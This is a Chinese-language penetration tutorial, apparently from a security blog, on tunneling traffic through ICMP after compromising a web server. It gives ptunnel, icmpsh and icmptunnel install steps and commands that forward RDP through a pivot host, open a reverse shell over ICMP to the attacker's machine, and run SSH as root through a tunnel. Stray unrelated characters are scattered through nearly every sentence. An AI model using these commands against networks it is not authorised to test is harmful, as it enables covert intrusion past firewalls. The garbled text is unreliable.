1鸠真、介紹
在內(nèi)網(wǎng)中悯仙,如果攻擊者使用 HTTP龄毡、DNS 等應(yīng)用層隧道都失敗了,那么或許可以試試網(wǎng)絡(luò)層的 ICMP 隧道锡垄,ICMP 協(xié)議最常見(jiàn)的場(chǎng)景就是使用 ping 命令沦零,而且一般防火墻都不會(huì)禁止 ping 數(shù)據(jù)包。
因此我們便可以將 TCP/UDP 數(shù)據(jù)封裝到 ICMP 的 ping 數(shù)據(jù)包中货岭,從而繞過(guò)防火墻的限制路操。
2、建立 ICMP 隧道工具
用于建立 ICMP 隧道的工具常見(jiàn)有:ptunnel千贯、icmpsh屯仗、icmptunnel 等
ptunnel
ptunnel 全稱 PingTunnel,Kali 下自帶該工具搔谴,Linux 下安裝過(guò)程如下:
yum -y install byacc
yum -y install flex bison
#安裝libpcap依賴庫(kù)
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安裝PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
ptunnel 常用命令介紹:
-p: 指定跳板服務(wù)器 IP 地址
-lp: 監(jiān)聽(tīng)本地 TCP 端口
-da: 指定訪問(wèn)目標(biāo)的內(nèi)網(wǎng) IP 地址
-dp: 指定訪問(wèn)目標(biāo)的端口
-m: 設(shè)置隧道最大并發(fā)數(shù)
-v: 輸入內(nèi)容詳細(xì)級(jí)別(-1到4魁袜,其中-1為無(wú)輸出,4為全部輸出)
-udp: 切換使用UDP代替ICMP敦第,代理將監(jiān)聽(tīng)端口53(必須是 root 權(quán)限)
-x: 設(shè)置隧道密碼峰弹,防止濫用(客戶端和代理端必須相同)
目前有這樣的一個(gè)場(chǎng)景,當(dāng)前已經(jīng)拿下了一臺(tái)外網(wǎng) Web Linux 服務(wù)器芜果,想通過(guò)它利用 ICMP 協(xié)議連接內(nèi)網(wǎng)的一臺(tái)已經(jīng)開(kāi)啟遠(yuǎn)程桌面的 Windows 鞠呈,網(wǎng)絡(luò)結(jié)構(gòu)簡(jiǎn)化如下。
Kali 攻擊機(jī) 172.16.214.6 (外網(wǎng))
|
|
Linux Web 跳板機(jī) 172.16.214.5 (外網(wǎng))
| 192.168.7.5 (內(nèi)網(wǎng))
|
|
Win RDP 目標(biāo)機(jī) 192.168.7.110 (內(nèi)網(wǎng))
在 Kali 攻擊機(jī)上執(zhí)行以下命令
ptunnel -p 172.16.214.5 -lp 1080 -da 192.168.7.110 -dp 3389 -x teamssix
-p 指定跳板機(jī)外網(wǎng)IP
-lp 指定本機(jī)的監(jiān)聽(tīng)端口
-da 指定目標(biāo)機(jī)的內(nèi)網(wǎng)IP
-dp 指定目標(biāo)機(jī)的端口
-x 設(shè)置隧道密碼
在 Linux Web 跳板機(jī)上執(zhí)行以下命令
ptunnel -x teamssix
之后訪問(wèn) Kali 攻擊機(jī) 172.16.214.6 的 1080 端口就會(huì)連接到 Win RDP 目標(biāo)機(jī) 192.168.7.110 的 3389 端口了右钾,不過(guò)實(shí)測(cè)發(fā)現(xiàn)這種方法有些不穩(wěn)定蚁吝。
icmpsh
icmpsh 使用很簡(jiǎn)單,直接在 github 上下載霹粥,運(yùn)行時(shí)不需要管理員權(quán)限灭将,但是在使用時(shí)需要關(guān)閉本地系統(tǒng)的 ICMP 應(yīng)答,不然 shell 的運(yùn)行會(huì)不穩(wěn)定后控。
git clone https://github.com/inquisb/icmpsh.git #下載工具
apt-get install python-impacket # 安裝依賴庙曙,或者 pip2 install impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #關(guān)閉本地ICMP應(yīng)答
icmpsh 常用命令介紹:
-t host 發(fā)送ping請(qǐng)求的主機(jī)ip地址,即攻擊機(jī)的IP [該命令必須存在]
-d milliseconds 請(qǐng)求時(shí)間間隔(毫秒)
-o milliseconds 響應(yīng)超時(shí)時(shí)間(毫秒)
-s bytes 最大數(shù)據(jù)緩沖區(qū)大泻铺浴(字節(jié))
目前有這樣的一個(gè)場(chǎng)景捌朴,攻擊機(jī)能通過(guò) ICMP 協(xié)議訪問(wèn)到目標(biāo)主機(jī),但是目標(biāo)上有防火墻张抄,拒絕了敏感端口比如 22砂蔽、3389 端口的訪問(wèn),這個(gè)時(shí)候可以使用 icmpsh 利用 ICMP 協(xié)議建立反向 shell
攻擊機(jī) IP:172.16.214.6
目標(biāo)機(jī) IP:172.16.214.2
在攻擊機(jī)上運(yùn)行:
python2 icmpsh_m.py 172.16.214.6 172.16.214.2
在目標(biāo)機(jī)上運(yùn)行
./icmpsh.exe -t 172.16.214.6
此時(shí)在攻擊機(jī)上可以看到通過(guò) icmp 協(xié)議建立的 shell
icmptunnel
icmptunnel 的優(yōu)勢(shì)在于可以穿過(guò)狀態(tài)防火墻或 NAT署惯,同樣在 github 上進(jìn)行下載左驾,值得注意的是該工具只有 Linux 版。
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
目前有這樣的一個(gè)場(chǎng)景,攻擊者為 Linux诡右,但由于目標(biāo)存在狀態(tài)防火墻或者使用了 NAT 導(dǎo)致無(wú)法獲得 shell安岂,此時(shí)可以通過(guò) icmptunnel 繞過(guò)限制。
攻擊機(jī) IP:172.16.214.6
目標(biāo)機(jī) IP:172.16.214.5
在攻擊機(jī)上運(yùn)行:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # 禁用 ICMP echo 回復(fù)帆吻,防止內(nèi)核自己對(duì)ping包進(jìn)行響應(yīng)
./icmptunnel -s # 開(kāi)啟服務(wù)端模式
在攻擊機(jī)上新開(kāi)啟一個(gè)終端運(yùn)行:
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 # 指定一個(gè)網(wǎng)卡tun0域那,用于給隧道服務(wù)器端分配一個(gè)IP地址 (10.0.0.1)
在目標(biāo)機(jī)上運(yùn)行:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 172.16.214.6
在目標(biāo)機(jī)上新開(kāi)啟一個(gè)終端運(yùn)行:
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 # 指定一個(gè)網(wǎng)卡tun0,用于給隧道服務(wù)器端分配一個(gè)IP地址 (10.0.0.2)
至此猜煮,已經(jīng)通過(guò) ICMP 建立了一個(gè)點(diǎn)對(duì)點(diǎn)隧道次员。
在攻擊機(jī)上,嘗試通過(guò) ssh 進(jìn)行連接王带,可以看到通過(guò)剛才建立的隧道成功連接到目標(biāo)機(jī)淑蔚。
ssh root@10.0.0.2
原文鏈接:https://www.teamssix.com/year/210407-183605.html
參考鏈接:
https://www.freebuf.com/sectool/210450.html
https://xiaix.me/li-yong-icmp-sui-dao-chuan-tou-fang-huo-qiang/